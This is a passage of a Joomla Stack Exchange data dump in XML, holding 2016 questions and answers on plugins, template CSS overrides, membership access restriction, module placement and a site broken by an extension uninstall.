  <row Id="16938" PostTypeId="1" AcceptedAnswerId="16940" CreationDate="2016-06-23T07:44:10.840" Score="1" ViewCount="727" Body="&lt;p&gt;Good Morning all, i was wonder if anyone is aware of an open source joomla management solution for multiple sites similar to &lt;a href=&quot;http://www.cloudaccess.net/products/joomla-hosting-support.html&quot; rel=&quot;nofollow&quot;&gt;Cloudaccess&lt;/a&gt; or &lt;a href=&quot;https://myjoomla.com/&quot; rel=&quot;nofollow&quot;&gt;MyJoomla&lt;/a&gt;?&#xA; I cannot seem to find anything? Any suggestions would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7394" LastEditDate="2016-06-23T08:03:58.857" LastActivityDate="2016-06-23T08:09:58.190" Title="Joomla Staging and Multiple site management?" Tags="|joomla-3.x|multi-sites|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-24T07:32:57.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="16939" PostTypeId="1" AcceptedAnswerId="17555" CreationDate="2016-06-23T07:53:57.833" Score="0" ViewCount="2584" Body="&lt;p&gt;Since I updated the JCE editor to the 2.5.16 version I've been unable to upload files via the File Browser.&#xA;It always popup an alert window displaying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The server returned an invalid JSON response&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I look into the JSON response from the developer tools I find a valid JSON string but with some html at the end that must be messing with the JSON parsing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;\/a&amp;gt;&amp;lt;\/span&amp;gt;&amp;lt;\/div&amp;gt;&amp;lt;\/li&amp;gt;&amp;lt;\/ul&amp;gt;&amp;lt;\/li&amp;gt;&amp;lt;\/ul&amp;gt;&quot;}&amp;lt;!-- l: nobody --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried from different browsers, users, reinstalling the Extension, updating it to 2.5.17 and later to 2.5.18 and the issue remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually using the Joomla version 3.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone faced this or knows what to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8594" LastEditorUserId="8594" LastEditDate="2016-06-23T09:03:43.723" LastActivityDate="2018-03-15T09:18:47.680" Title="Invalid JSON response in JCE File Browser" Tags="|component|jce|browser|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16940" PostTypeId="2" ParentId="16938" CreationDate="2016-06-23T08:09:58.190" Score="1" Body="&lt;p&gt;This question has been asked again in this website in various forms. Here is a list of relative questions with answers to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2489/multiple-website-managment-with-joomla/14782#14782&quot;&gt;Multiple website managment with Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10911/2-domains-2-templates-one-cms-with-same-content/16312#16312&quot;&gt;2 domains, 2 templates one cms with same content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16547/how-to-update-an-online-website/16551#16551&quot;&gt;How to update an online website?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16264/mass-joomla-sites-updates-maintenance/16267#16267&quot;&gt;Mass Joomla sites Updates / Maintenance&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4809/single-source-many-joomla-sites-on-a-server-how-could-it-be-possible/4837#4837&quot;&gt;Single source many Joomla sites on a server. How could it be possible?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/419/is-there-a-way-to-promote-articles-between-environments&quot;&gt;Is there a way to promote articles between environments?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/126/how-do-you-update-a-website-once-it-has-gone-live/135#135&quot;&gt;How do you update a website once it has gone live?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-06-23T08:09:58.190" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16941" PostTypeId="1" AcceptedAnswerId="16942" CreationDate="2016-06-23T13:01:58.320" Score="2" ViewCount="165" Body="&lt;p&gt;I have a plugin where I am trying to instantiate a new class but every time the plugin was enabled, the page kept dying saying the object already exists. Upon investigating, I found out that it only happens in Category Page and not Article page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I removed everything in the code and had the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentFoobar extends JPlugin&#xA;{&#xA;  public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0)&#xA;  {&#xA;    echo 1;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the Article page, it just outputs once as expected but on a category page; it outputs 15 times. Is there anything I need to be aware which is causing this on the category pages?&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-06-27T22:42:15.203" Title="Content Plugin 'loads' multiple times on Category Page" Tags="|development|plugin|fix-my-code|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16942" PostTypeId="2" ParentId="16941" CreationDate="2016-06-23T13:32:21.217" Score="3" Body="&lt;p&gt;Right, so the function executes 15 times and you have 14 articles assigned to a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components\com_content\views\article\view.html.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you see the event dispatched on line &lt;strong&gt;161&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher-&amp;gt;trigger('onContentPrepare', array ('com_content.article', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, $offset));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in this file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components\com_content\views\category\view.html.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You also see it dispatched on line &lt;strong&gt;106&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher-&amp;gt;trigger('onContentPrepare', array ('com_content.category', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As you are on the category view and have 14 articles assigned to the category, the &lt;code&gt;onContentPrepare&lt;/code&gt; is dispatched &lt;strong&gt;14&lt;/strong&gt; times and then &lt;strong&gt;once&lt;/strong&gt; again from the category view.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-23T13:32:21.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16943" PostTypeId="1" AcceptedAnswerId="16945" CreationDate="2016-06-23T14:27:52.387" Score="1" ViewCount="330" Body="&lt;p&gt;I'm very new to Joomla, and I'm currently trying to Restrict access to part of Joomla articles using membership pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trying to follow the guide listed here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://membershipprodoc.joomservices.com/resources-access-restriction&quot; rel=&quot;nofollow&quot;&gt;http://membershipprodoc.joomservices.com/resources-access-restriction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've published the plugin, step 1. Step is to use the syntax mprestriction ids=&quot;1&quot;}The text you want to hide must be inserted between here{/mprestriction} to restrict access to the article to subscribers of the plan you want. Below is the explanation of the syntax:&#xA;ids=&quot;1&quot; mean only users have active subscription of Plan with ID = 1 can see the text. You can change 1 to ID of any plans you want&#xA;You can allow subscribers from different subscription plans to see this text, just separate the plan ids by comma. For example, If you enter ids=&quot;1,3&quot; for example, subscribers from plan with ID = 1 or ID = 3 will be able to see the text and so on....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone familiar doing this sort of thing? With Membership Pro or any other application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="126" LastEditDate="2016-06-26T11:05:00.637" LastActivityDate="2016-06-26T11:05:00.637" Title="Restrict access to part of Joomla articles with OS Membership Pro" Tags="|joomla-3.4|extensions|acl|membership|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16945" PostTypeId="2" ParentId="16943" CreationDate="2016-06-23T15:56:12.947" Score="1" Body="&lt;p&gt;You need to read carefully and make sure you understand the documentation of the software you use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would strongly suggest you, to install the extension on test joomla site, and learn how to use it, before you mess with your live site:    &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a clean install will generally let you play and test the features, try the various configuration options and learn, while you will be more sure if something that is happening is because there is a bug, instead of you doing it wrong, or because of a conflict with another extension.&lt;/li&gt;&#xA;&lt;li&gt;testing on a clone of your live site, will help you create and test the configuration the fits to your exact needs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now regarding this particular question of restricting part of Joomla articles, all the documentation says is to add these shortcodes inside your articles, to wrap the part of the article that you want to be accessible only by subscribers. It's looks like pretty self-explanatory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Article Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ARTICLE CONTENT AVAILABLE TO EVERYONE... &#xA;{mprestriction ids=&quot;1&quot;} ARTICLE CONTENT AVAILABLE TO SUBSCRIBRERS&#xA;ONLY SUBSCRIBERS OF SUBSCRIPTION WITH ID 1 WILL BE ABLE TO SEE IT. {/mprestriction} &#xA;ARTICLE CONTENT AVAILABLE TO EVERYONE...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably, you will need to have enabled some plugins that would ship with the component and of course all the other essential configurations, to have the extension ready and in charge of who will be accessing what.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-06-23T15:56:12.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16946" PostTypeId="2" ParentId="16930" CreationDate="2016-06-23T17:39:45.087" Score="2" Body="&lt;p&gt;Just change the above line to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$description = $this-&amp;gt;result-&amp;gt;description;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-23T17:39:45.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16950" PostTypeId="1" CreationDate="2016-06-24T14:36:27.507" Score="0" ViewCount="162" Body="&lt;p&gt;I dont know whats the probleme , to be honest i have no idea how joomla works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have a joomla website and every time i visit the homepage a JS alert shows up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y7zqN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y7zqN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i really could not find the solution , does any one knows how to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i use inscpect element ( in chrome) i found this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6iZRr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6iZRr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i dont know how joomla works behind the scenes so how i can find the file which has this code?&lt;/p&gt;&#xA;" OwnerUserId="8599" LastEditorUserId="8599" LastEditDate="2016-06-25T15:57:31.023" LastActivityDate="2016-07-25T17:49:53.583" Title="remove Js alert in home page" Tags="|joomla-3.x|jquery|javascript|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16951" PostTypeId="1" AcceptedAnswerId="16952" CreationDate="2016-06-24T18:48:10.270" Score="2" ViewCount="828" Body="&lt;p&gt;How do I remove the &quot;Help&quot; button from the admin toolbar in Isis template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried placing the following in the Isis template.css file with no luck,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#toolbar-help.btnwrapper button.btn-small {&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DrMgy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrMgy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="126" LastEditDate="2016-06-26T12:03:47.870" LastActivityDate="2016-06-26T12:03:47.870" Title="How to remove/hide &quot;Help&quot; button from the admin toolbar?" Tags="|templates|administrator|css|template-override|isis-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16952" PostTypeId="2" ParentId="16951" CreationDate="2016-06-24T21:24:09.027" Score="2" Body="&lt;p&gt;First create a &lt;a href=&quot;https://joomla.stackexchange.com/questions/9973/how-to-customize-the-look-of-the-admin-isis-template-with-css-isis-custom-css/9974#9974&quot;&gt;&lt;strong&gt;custom.css file for the ISIS template&lt;/strong&gt;&lt;/a&gt;, then in this file paste the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;div#toolbar-help.btn-wrapper {&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Clear caches and it should be hidden.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;To sum up the most important stuff of the long comments discussion:&lt;/p&gt;&#xA;&lt;p&gt;@mrbuckmccoy: Make sure the custom.css is loaded with your browser.&#xA;Are you able to find the custom.css and your rules in your browser?&lt;br /&gt;&#xA;Try adding this in your &lt;strong&gt;custom.css&lt;/strong&gt; &lt;code&gt;body {background:#000;}&lt;/code&gt; to see if you get any change -this should actually turn your background to black. Also remember to clear your caches and make sure you don't have other caching mechanisms that could affect the situation.&lt;/p&gt;&#xA;&lt;p&gt;@mrbuckmccoy First confirm that we are talking for the latest Joomla version, which is &lt;strong&gt;3.5.1.&lt;/strong&gt; &lt;strong&gt;Custom.css won't work for versions before 3.4 or so.&lt;/strong&gt; Then if you can confirm that this custom.css actually is being created and saved in your administrator/templates/isis/css folder.&lt;/p&gt;&#xA;&lt;p&gt;If it exists there, and you have J3.5 then it should be loaded. If you previously added your css in the template's original css file and also didn't see the change, then it's possible that there is other caching somewhere else. It can be from htaccess, from the server/hosting, or 3rd party services e.g. cloudflare.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-25T16:48:41.533" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="16953" PostTypeId="1" CreationDate="2016-06-24T21:53:54.843" Score="2" ViewCount="115" Body="&lt;p&gt;I have created site with many pages/articles. I would like to add the following at the bottom of the article &quot;You need an active subscription for this area&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can add it without typing it out at the bottom of every single page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-07-08T00:19:08.787" Title="Add Content to End of Article" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16954" PostTypeId="1" AcceptedAnswerId="16966" CreationDate="2016-06-25T00:15:55.067" Score="1" ViewCount="879" Body="&lt;p&gt;How to make a static homepage in latest version of joomla? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to restore trashed categories? I can't load the site, saying category not found, although i don't need the category&lt;/p&gt;&#xA;" OwnerUserId="4037" LastEditorUserId="126" LastEditDate="2016-06-26T10:52:54.087" LastActivityDate="2016-06-26T11:30:05.167" Title="Use static page for homepage and restore trashed categories" Tags="|joomla-3.x|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16956" PostTypeId="2" ParentId="16953" CreationDate="2016-06-25T01:36:48.983" Score="1" Body="&lt;p&gt;One possible solution is via &lt;strong&gt;override&lt;/strong&gt;, follow the step by step here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here, select in Column &lt;strong&gt;Component&lt;/strong&gt; &gt; &lt;strong&gt;com_content&lt;/strong&gt; &gt; &lt;strong&gt;article&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find and edit the file in: &lt;br/&gt;&lt;code&gt;your_site/templates/your_template/html/com_content/article/default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add here your custom code or text.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-25T01:36:48.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16957" PostTypeId="1" CreationDate="2016-06-25T06:45:41.017" Score="1" ViewCount="448" Body="&lt;p&gt;I am new to joomla and I am not a joomla developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a plugin that let modules be displayed in specific articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Specify some content IDs in module management page.&lt;/li&gt;&#xA;&lt;li&gt;Then display the module only in those pages.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tested &lt;strong&gt;NoNumber Advanced Module Manager&lt;/strong&gt; extension, but this extension has lots of options that I do not need, and it is such heavy that result in 500 error on my site.&lt;/p&gt;&#xA;" OwnerUserId="8602" LastEditorUserId="126" LastEditDate="2016-06-25T10:45:32.757" LastActivityDate="2016-06-25T10:45:32.757" Title="Displaying a module in specific articles" Tags="|module|articles|module-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16958" PostTypeId="1" CreationDate="2016-06-25T06:59:26.230" Score="1" ViewCount="2427" Body="&lt;p&gt;I need Good Joomla 3 Extensions for the Virtuemart 3  Products Bulk upload with Product images also.&#xA;is there any good component are module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please suggest me the Extension &lt;strong&gt;free&lt;/strong&gt; are Else &lt;strong&gt;Paid&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="8603" LastActivityDate="2018-01-17T01:50:48.163" Title="Virtuemart 3 Products upload with csv file with images also, is any good component are module is there?" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16959" PostTypeId="2" ParentId="16953" CreationDate="2016-06-25T08:15:21.763" Score="1" Body="&lt;p&gt;One of the easiest ways to do this is to create a Custom HTML module with the required text and then publish the module to a module position below the main content. Suitable module positions below the main content on the Gavick News2 template (for example) would be &lt;code&gt;mainbody_bottom&lt;/code&gt; and &lt;code&gt;bottom1&lt;/code&gt;. You can usually find the module position diagram on the &lt;a href=&quot;https://demo.gavick.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;template developer demo website&lt;/a&gt; as in the Gavick News2 example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/liWSN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/liWSN.png&quot; alt=&quot;GK News2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, go to Extensions -&gt; Templates -&gt; Options and temporarily set &quot;Preview Module Positions&quot; to &quot;Enabled&quot;. You can then view the module positions on your own website by browsing to &lt;a href=&quot;http://www.keylooplabs.com/index.php?tp=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.keylooplabs.com/index.php?tp=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control which pages the module is displayed on via the Menu Assignment tab in the module settings.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-07-08T00:19:08.787" LastActivityDate="2016-07-08T00:19:08.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16960" PostTypeId="1" AcceptedAnswerId="16963" CreationDate="2016-06-25T08:20:41.400" Score="0" ViewCount="68" Body="&lt;p&gt;I'm facing a disaster. I recently installed RSMembership (based on a suggestion from a member from this site). Everything appeared to be working well, until I discovered that everyone was able to access my articles whether they were registered or not. I therefore decided to uninstall RSMembership (big mistake). As result, my site has totally crashed. If you attempt to enter my site at www.keylooplabs.com you will get the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n43d3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n43d3.png&quot; alt=&quot;access error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attempt to login to the site I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/InLkC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/InLkC.png&quot; alt=&quot;joomla login&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been frantically trying to get in touch with support at RSMembership but they don't appear to work on the weekends. They're website suggests following the guide &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsmembership-user-guide/installing-and-uninstalling/manually-uninstall-rsmembership.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsmembership-user-guide/installing-and-uninstalling/manually-uninstall-rsmembership.html&lt;/a&gt; if a regular uninstall fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be so grateful to a community member if they are highly experienced with these matters to help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be willing to make a small contribution to a charity of your desire if you were able help resolve this. I can't begin to tell you how upsetting this is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-06-25T08:57:02.200" Title="Joomla Site Crashed - due to RSMembership" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16961" PostTypeId="2" ParentId="16957" CreationDate="2016-06-25T08:44:39.867" Score="2" Body="&lt;p&gt;It's not clear if you want to display the module inside a given module position of your template, or inside your article content.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Module in Module Positions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Core Module Manager&lt;/strong&gt; gives the ability to assign modules per menu item. This allows for some control over where and when to display a module. That control is based on the menu item id. For example you can have a Category Blog Menu Item to display articles of a category and assign a module to this menu item. That module will be displayed under this category blog and all the articlesof that category linked from there (usually they will be displayed under that same menu item id). This flexibility in displaying modules per article, becomes higher if you create pages with single article menu items for your articles. You will have total control over in which articles you will show your modules. However, there can be cases when this is not sufficient, and you need deeper control. Then here it comes the Regular Labs Advanced Module Manager (previously called NoNumber). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced Module Manager&lt;/strong&gt;, gives extended control over where to display a module, like select only certain articles, or categories, or articles of a category only when there is an article view, or dates and much more. Regarding being heavy, there have been cases of versions of that component that were creating some slow SQL queries, but those were fixed. I am using this extension in so many projects with no issues. It shouldn't be heavy or slow at the moment, and if you encounter such issues with this extension, then you should report that to the developer. The 500error can be also something related to your hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Module inside article content&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In this case, you can go with the &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/How_do_you_put_a_module_inside_an_article%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadmodule&lt;/strong&gt; joomla core plugin&lt;/a&gt;. You can load certain modules, or a &quot;full stack&quot; of modules sitting in a certain module position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your article use: &lt;code&gt;{loadmodule module, moduleTitle}&lt;/code&gt; to load a specific module, or &lt;code&gt;{loadposition modulePostion}&lt;/code&gt; to load all modules from a certain module position. You will have full control over which articles will display those modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of doing this is by creating template overrides over the com_content/articles component. In your template overrides you can &lt;a href=&quot;https://joomla.stackexchange.com/questions/9070/displaying-more-articles-in-the-article-view/9982#9982&quot;&gt;&lt;strong&gt;programatically load certain modules or module positions&lt;/strong&gt;&lt;/a&gt; that will be called by default in your content views. The appearance of these modules will be also affected by modules assignments (and status, ACL settings) in module manager or Advanced module manager. But here you have one additional control, that is the direct logic you can use by writing php inside your article overrides.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further Reading on Template Overrides&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-06-25T10:29:11.137" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16962" PostTypeId="1" CreationDate="2016-06-25T08:55:49.077" Score="2" ViewCount="544" Body="&lt;p&gt;Is there any proper way to make an AJAX engine for a theme in the Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all of my navigation happen without the page refresh, or in other words, thorough AJAX calls. Should I rely on &lt;code&gt;com_ajax&lt;/code&gt; of Joomla and write my own handlers, or there are better solutions out there?&lt;/p&gt;&#xA;" OwnerUserId="8286" LastEditorUserId="3650" LastEditDate="2016-12-05T21:21:36.707" LastActivityDate="2016-12-05T21:21:36.707" Title="Making an ajax-based template?" Tags="|joomla-3.x|templates|ajax|navigation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16963" PostTypeId="2" ParentId="16960" CreationDate="2016-06-25T08:57:02.200" Score="1" Body="&lt;p&gt;In my answer to your other recent question on &lt;a href=&quot;https://joomla.stackexchange.com/questions/16943/restrict-access-to-part-of-joomla-articles&quot;&gt;how to restrict access to articles&lt;/a&gt;, I wrote: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would strongly suggest you, to install the extension on test joomla site, and learn how to use it, before you mess with your live site...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably, the error you are getting now is because there are some dependencies or calls left behind after uninstalling the extension. Having configured the website to work in a membership fashion (whatever this configuration was, right or wrong) and then simply go and uninstall this, it 's very likely that the website will crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally is a bad practice to experiment on live sites by installing/uninstalling software, or doing any other kind of development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following this documentation: &lt;a 